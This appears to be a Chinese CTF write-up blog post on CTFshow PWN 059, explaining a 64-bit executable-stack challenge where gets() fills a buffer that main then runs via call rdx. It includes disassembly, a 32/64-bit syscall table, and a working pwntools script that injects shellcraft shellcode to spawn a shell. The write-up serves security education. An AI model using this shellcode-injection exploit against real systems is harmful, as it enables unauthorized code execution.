跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
汇编

CTFshow PWN 059 详解:64 位架构下 Ret2Shellcode 进阶与指令集适配

详细解析了 CTFshow PWN 059 题目的 64 位栈执行漏洞。通过分析 checksec 确认栈可执行,利用 IDA 汇编分析发现 main 函数中存在 call rdx 后门。文章对比了 32 位与 64 位系统调用差异,提供了基于 Python pwnlib 和 shellcraft 的 Exploit 脚本,并总结了常见踩坑经验。

开源信徒发布于 2026/3/21更新于 2026/9/469 浏览
CTFshow PWN 059 详解:64 位架构下 Ret2Shellcode 进阶与指令集适配

CTFshow PWN 059 详解:64 位架构下的 Ret2Shellcode 进阶与指令集适配

在上一关 pwn 058 中,我们通过 32 位的 call eax 成功在可执行栈上起舞。今天我们要面对的是它的 64 位进阶版 —— pwn 059。题目依然标榜着:"64 位 无限制"。

从 32 位跨越到 64 位,绝对不是简单的寄存器改个名字(r 开头)那么简单。地址空间的扩大、传参约定的改变以及对指令对齐的要求,都让这次的'无限制'挑战增加了一丝硬核的味道。

第一部分:题目信息与环境侦察

1. 检查保护机制 (checksec)
~/Desktop .............................................................. at 16:20:10 > checksec pwn
[*] '/home/shining/Desktop/pwn'
Arch: amd64-64-little <-- 核心差异:64 位架构
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing <-- 栈可执行 (RWX)
PIE: No PIE (0x400000)
Stack: Executable <-- 权限确认为 RWX
RWX: Has RWX segments
Stripped: No

深度原理分析: 依然是熟悉的 GNU_STACK missing。在 64 位环境下,这种配置同样意味着栈上没有任何执行限制。

  • 64 位地址宽度:相比 32 位的 4 字节地址,64 位地址宽度达到了 8 字节,虽然寻址空间巨大,但这也意味着我们在构造 ROP 或填充时需要更精准的字节对齐。
  • NX Missing:只要我们能把 RIP 指令指针引导到我们的缓冲区,程序就会像脱缰的野马一样开始解析执行我们的恶意 64 位机器码。

第二部分:破局思路与静态分析

在 64 位下,反编译器(F5)有时会因为复杂的栈平衡调整而报错。

1. 诡异的报错:Decompilation failure

当你尝试在 IDA 中按下 F5 时,可能会弹出:4006F9: call analysis failed

技术解毒:这不是你的 IDA 坏了,而是出题人故意使用了'寄存器间接调用'(Indirect Call)。由于 call rdx 在静态分析时无法确定 rdx 到底指向哪,IDA 的 F5 插件无法构建完整的控制流图,因此罢工。这时候,我们必须回归最原始的武器:阅读汇编。

2. 追踪漏洞点:ctfshow 函数

观察 ctfshow 的汇编实现:

.text:00000000004005BF mov [rbp+s], rdi ; 接收来自 main 的缓冲区地址
.text:00000000004005C3 mov rax, [rbp+s]
.text:00000000004005C7 mov rdi, rax ; 将地址传给 rdi 作为 gets 的参数
.text:00000000004005CF call _gets ; 【核心漏洞】无限制读取输入
.text:00000000004005D4 mov rax, [rbp+s]
.text:00000000004005D8 mov rdi, rax ; 传回给 puts 打印出来
.text:00000000004005DB call _puts
3. 致命一击:main 函数的执行流劫持

回到 main 函数,观察程序在调用 ctfshow 后的动作:

.text:00000000004006DE lea rax, [rbp+var_A0] ; 1. 计算栈上缓冲区 var_A0 的首地址
.text:00000000004006E5 mov rdi, rax ; 2. 作为参数传入 ctfshow
.text:00000000004006E8 call ctfshow ; 3. 调用 gets 往该地址填充数据
.text:00000000004006ED lea rdx, [rbp+var_A0] ; 4. 重新将同一块地址加载到 rdx
.text:00000000004006F4 mov eax, 0
.text:00000000004006F9 call rdx ; 5. 【绝杀】直接跳转到 rdx 执行!

逻辑总结: 这又是一个'官方后门'。程序在栈上开辟了 0xA0(160 字节)的空间,让你通过 gets 填入数据,填完后立刻通过 call rdx 命令 CPU 去执行这块空间的内容。由于栈是可执行的,我们只需注入 64 位 Shellcode。

第三部分:实战 EXP 编写与详解

在 64 位下编写 EXP,最重要的一步是正确设置 context。

1. 64 位与 32 位 Shellcode 的本质区别

在 64 位下编写 EXP,最重要的一步是正确设置 context。我们需要深刻理解 64 位与 32 位在底层的本质区别。

特性32 位 (x86)64 位 (amd64)
系统调用指令int 0x80syscall
调用号寄存器eaxrax
参数 1 寄存器ebxrdi
参数 2 寄存器ecxrsi
参数 3 寄存器edxrdx
参数 4-6 寄存器esi, edi, ebpr10, r8, r9
execve 调用号11 (0x0b)59 (0x3b)
地址/寄存器位宽4 字节 (32-bit)8 字节 (64-bit)

深度解析:

  • 指令集进化:64 位引入了专用的 syscall 指令,它比老旧的 int 0x80 软中断执行效率更高,且寄存器传参的改变减少了访存开销。
  • 调用号剧变:这是新手最容易踩的坑。如果在 64 位代码里用 eax=11 调 syscall,你调用的其实是 munmap 而不是 execve,结果必然是程序崩溃。
2. 攻击脚本 (EXP)
from pwn import *
# 1. 基础配置:由于是 64 位题目,必须指定架构为 amd64
context(arch='amd64', os='linux', log_level='debug')
# 2. 建立连接:本地调试用 process,远程用 remote
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28124)
# 3. 生成 Shellcode:利用 shellcraft 快速构造 amd64 拿 shell 的机器码
shellcode = asm(shellcraft.sh())
# 4. 发送攻击载荷:直接发送,不需要 Padding 填充
io.sendline(shellcode)
# 5. 开启交互:获取 Shell 权限
io.interactive()

第四部分:小白踩坑实录

1. 为什么 32 位的 Shellcode 跑不通?

64 位 CPU 的寻址和指令长度完全不同。在 64 位程序里跑 32 位代码会触发 Illegal Instruction。context(arch='amd64') 是你的救命稻草。

2. 远程连接 EOF 的排查

如果脚本在远程报错:

  • 环境重置:检查远程环境状态,这是解决大部分问题的良药。
  • 端口更新:确保 remote 函数里的五位端口号与网页端当前显示的一致。
3. IDA 报错不要慌

遇到 call analysis failed 说明你撞到了'间接跳转'。手动看 call 前面的寄存器来源(比如本题的 rdx 是从哪来的),只要它指向你的输入区,直接打就完事了。

目录

  1. CTFshow PWN 059 详解:64 位架构下的 Ret2Shellcode 进阶与指令集适配
  2. 第一部分:题目信息与环境侦察
  3. 1. 检查保护机制 (checksec)
  4. 第二部分:破局思路与静态分析
  5. 1. 诡异的报错:Decompilation failure
  6. 2. 追踪漏洞点:ctfshow 函数
  7. 3. 致命一击:main 函数的执行流劫持
  8. 第三部分:实战 EXP 编写与详解
  9. 1. 64 位与 32 位 Shellcode 的本质区别
  10. 2. 攻击脚本 (EXP)
  11. 1. 基础配置:由于是 64 位题目,必须指定架构为 amd64
  12. 2. 建立连接:本地调试用 process,远程用 remote
  13. io = remote('pwn.challenge.ctf.show', 28124)
  14. 3. 生成 Shellcode:利用 shellcraft 快速构造 amd64 拿 shell 的机器码
  15. 4. 发送攻击载荷:直接发送,不需要 Padding 填充
  16. 5. 开启交互:获取 Shell 权限
  17. 第四部分:小白踩坑实录
  18. 1. 为什么 32 位的 Shellcode 跑不通?
  19. 2. 远程连接 EOF 的排查
  20. 3. IDA 报错不要慌

更多推荐文章

查看全部
  • Verilog 描述半加器结构:FPGA 初学实践
  • UnityMCP+Claude+VSCode 搭建 AI 游戏开发工作流
  • Python 项目打包成 exe 并添加卸载功能教程
  • 深度优先搜索(DFS)与递归算法及经典案例解析
  • 美国签证预约自动化监控工具搭建指南
  • OpenClaw 配置飞书机器人指南
  • OpenClaw QQ 机器人接入指南
  • OpenClaw 多 Bot 与多 Agent 协作架构避坑指南
  • Python 实现 AI 文档总结、代码生成与资料检索工具
  • OpenClaw 接入飞书机器人与 Kimi2.5 配置指南
  • Spring Bean 作用域、生命周期与自动装配源码解析
  • 实测 6 款国产大模型实用性:长文本与多模态能力横向对比
  • Faster-Whisper 在笔记本 CPU 环境下如何选择模型模式
  • LightRAG 框架介绍及 WebUI 本地部署指南
  • Vue3 事件处理
  • 开源版 Coze Studio 入门指南
  • 鸿蒙原子化服务与元服务卡片开发指南
  • 知网 AIGC 检测价格对比与各渠道省钱策略
  • OpenSpec 实战:用规范驱动开发优化 AI 编程协作
  • Trae 高峰期模型排队问题及第三方 API 接入方案

相关免费在线工具

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online

  • JSON美化和格式化

    将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online